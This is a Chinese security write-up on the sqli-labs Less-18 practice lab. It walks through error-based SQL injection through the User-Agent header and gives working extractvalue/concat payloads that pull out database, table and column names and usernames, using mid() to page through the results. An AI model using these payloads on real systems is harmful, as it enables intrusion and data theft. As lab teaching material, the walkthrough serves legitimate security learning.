姿势
该题为基于GET及报错的User-Agent注入,故需在参数后构造POC
该题采用抓包进行处理
判断注入类型
由回显可知,注入类型为('
注入
故注入模板为',1,1)#
查库名
',extractvalue(1,concat(0x23,database())),1)#
得到库名为security
查表名
我们以第一个1为注入点,构造POC如下:
',extractvalue(1,concat(0x23,(select group_concat(table_name) from information_schema.tables where table_schema='security'))),1)#
得到四个表名
查列名
',extractvalue(1,concat(0x23,(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users'))),1)#
查数据
介绍一下mid()函数
MID()
函数是一种字符串函数,用于提取给定字符串的子字符串。它的语法如下:
MID(str, start, length)
其中:
str
是要提取子字符串的源字符串。start
指定了子字符串的起始位置。它是一个整数值,表示从源字符串中的哪个字符开始提取子字符串。起始位置是从 1 开始计数的。length
指定了要提取的子字符串的长度。它也是一个整数值,表示从起始位置开始向后提取多少个字符。
例如,假设有一个字符串 "Hello, World!"
,如果想要提取其中的子字符串 "World"
,可以使用以下 MID()
函数调用:
MID("Hello,World!", 7, 5)
在这个例子中,str
是字符串 "Hello, World!"
,start
是 7,length
是 5。因此,MID()
函数将从第 7 个字符开始提取长度为 5 的子字符串,结果为 "World"
。
我们以username列为例,利用mid()函数构造POC如下:
',extractvalue(1,concat(0x23,mid((select group_concat(username) from security.users),1,32))),1)#
这个语句是从 security.users 表中的 username 列中获取用户名,获取到的并不是全部的用户名,而是从第一个字符开始的长度为 32 的子字符串
接着,我们提取从第 32 个字符开始的长度为 32 的子字符串:
POC如下:
',extractvalue(1,concat(0x23,mid((select group_concat(username) from security.users),32,32))),1)#'
同理,32改为64后得到:
总结
以上为[网络安全]sqli-labs Less-18 解题详析,考察报错注入及相关函数的使用;后续将分享 [网络安全]sqli-labs Less-19 解题详析。
我是秋说,我们下次见。